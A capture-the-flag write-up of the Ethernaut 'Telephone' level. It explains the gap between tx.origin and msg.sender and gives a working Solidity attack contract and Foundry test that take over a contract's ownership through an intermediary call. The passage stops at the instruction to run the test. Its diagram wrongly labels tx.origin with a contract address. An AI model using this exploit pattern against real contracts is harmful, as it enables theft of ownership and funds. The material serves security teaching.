Overview
This level introduces us to the following concept(s):
- Differences between
msg.sender
andtx.origin
- Phishing in Web 3.0
GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry
Objective
To complete the challenge, we will need to:
- Claim ownership of the contract
Contract Analysis
This is a very short contract that boils down to a single function changeOwner
which will transfer the contract's ownership to the address passed in the parameter.
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) { // <-- this is what we should look into
owner = _owner;
}
}
}
The problem lies in the if...
statement in the function. There is a crucial difference between tx.origin
and msg.sender
that makes this contract vulnerable:
msg.sender
is used all the time, so it is crucial to understand. It represents the address where the current (external) function call came from. In other words,msg.sender
is the address of the direct caller of a given function.tx.origin
is seen less frequently but has its use-cases (when not used carelessly ... wink wink). It represents the address of the initial caller in the call stack. In other words, who started the call (or transaction) at the very beginning.
Here's a small diagram to visually understand the differences between the two:
Example Transaction Flow
┌───────────────────────────────────────────────────────────────────┐
│ intermediary │
│ ┌──────────────┐ calls ┌────────────┐ calls ┌────────────┐ │
│ │ Contract A ├───────►│ Contract B ├───────►│ Contract C │ │
│ └──────────────┘ └────────────┘ └────────────┘ │
│ tx.origin msg.sender msg.sender │
│ │ │ │ │
│ └► address(A) └─► address(A) └─► address(B) │
│ │
└───────────────────────────────────────────────────────────────────┘
The bottom line is that tx.origin
should never be used for authorization purposes, as it can lead to devastating phishing attacks.
💡 Recommended reads:
- Real World Example - Thorchain (RUNE) Hack in 2020
- Solidity by Example - Phishing with Tx Origin
- SWC Regisry #115 - Calls into malicious contract(s)
Attacking The Contract
Make sure to read through Part 0 for setup instructions.
We will need to deploy an additional contract TelephoneAttack.sol
(our malicious Contract B) which will call the changeOwner()
function of the main game contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10; // Latest solidity version
import "./Telephone.sol";
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
ITelephone public target;
constructor(address targetAddress) {
target = ITelephone(targetAddress);
}
// Step #1 Step #2 Step #3
// <EOA:0x00...deadbeef> --> Calls <Contract:TelephoneAttack> --> Calls <Contract:Telephone>
// `tx.origin` is the original caller in the callstack (EOA)
// `msg.sender` in Step #2 is the address of the EOA
// `msg.sender` in Step #3 is the address of the TelephoneAttack contract
function attack() public {
target.changeOwner(msg.sender);
}
}
Next up, create the Telephone.t.sol
test file in the test/
directory that will contain the attack logic (level setup and submission is truncated for clarity):
function testTelephoneHack() public {
TelephoneAttack attackContract = new TelephoneAttack(levelAddress);
emit log_named_address("tx.origin", tx.origin);
emit log_named_address("msg.sender", attacker); // vm cheatcode set to attacker
attackContract.attack();
assertEq(telephoneContract.owner(), attacker);
}
Run the attack using the forge test
subcommand: